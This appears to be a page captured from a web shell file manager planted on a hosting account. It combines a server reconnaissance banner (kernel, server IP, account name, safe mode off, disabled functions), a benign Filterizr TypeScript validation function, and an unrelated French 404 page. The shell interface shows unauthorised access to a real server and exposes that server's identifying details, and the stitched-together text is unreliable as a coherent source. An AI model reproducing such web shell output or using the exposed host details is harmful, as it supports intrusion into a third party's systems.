Uname: Linux webm016.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 54.36.31.145
Your Ip: 216.73.216.182
User: homesquasz (91404) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : checkOptionForErrors.ts
/**
 * Error checking method to restrict a prop to some allowed values
 * @param {String} name of the option key in the options object
 * @param {String|Number|Object|Function|Array|Boolean} value of the option
 * @param {String} type of the property
 * @param {Array} allowed accepted values for option
 * @param {String} furtherHelpLink a link to docs for further help
 */
export const checkOptionForErrors = (
  name: string,
  value: string | number | object | Function | any[] | boolean,
  type?: string,
  allowed?: any[] | RegExp,
  furtherHelpLink?: string
): void => {
  if (typeof value === 'undefined') return; // exit case, missing from options

  // Define exception for type error
  const typeError = new Error(
    `Filterizr: expected type of option "${name}" to be "${type}", but its type is: "${typeof value}"`
  );
  let matchesOtherTypes = false;
  let isArray = false;
  const couldBeArray = type.includes('array');
  // Perform type checking
  if ((typeof value).match(type)) {
    matchesOtherTypes = true;
  } else if (!matchesOtherTypes && couldBeArray) {
    isArray = Array.isArray(value);
  }
  // Throw the errors for invalid types
  if (!matchesOtherTypes && !couldBeArray) {
    throw typeError;
  } else if (!matchesOtherTypes && couldBeArray && !isArray) {
    throw typeError;
  }

  // Make sure that the value of the option is within the accepted values
  const referTo = (link?: string): string => {
    if (link) {
      return ` For further help read here: ${link}`;
    }
    return '';
  };

  if (Array.isArray(allowed)) {
    let validValue = false;
    allowed.forEach((el): void => {
      if (el === value) validValue = true;
    });
    if (!validValue) {
      throw new Error(
        `Filterizr: allowed values for option "${name}" are: ${allowed
          .map((el): string => `"${el}"`)
          .join(', ')}. Value received: "${value}".${referTo(furtherHelpLink)}`
      );
    }
  } else if (typeof value === 'string' && allowed instanceof RegExp) {
    const isValid = value.match(allowed);
    if (!isValid) {
      throw new Error(
        `Filterizr: invalid value "${value}" for option "${name}" received.${referTo(
          furtherHelpLink
        )}`
      );
    }
  }
};
© 2026 GrazzMean
Page non trouvée – APK Comptoir Hammami
Jannah Theme License is not validated, Go to the theme options page to validate the license, You need a single license for each domain name.

404 :(

Oups ! Cette page est introuvable.

Il semble que nous ne puissions pas trouver ce que vous cherchez. Peut-être qu'une recherche pourrait vous aider.

Bouton retour en haut de la page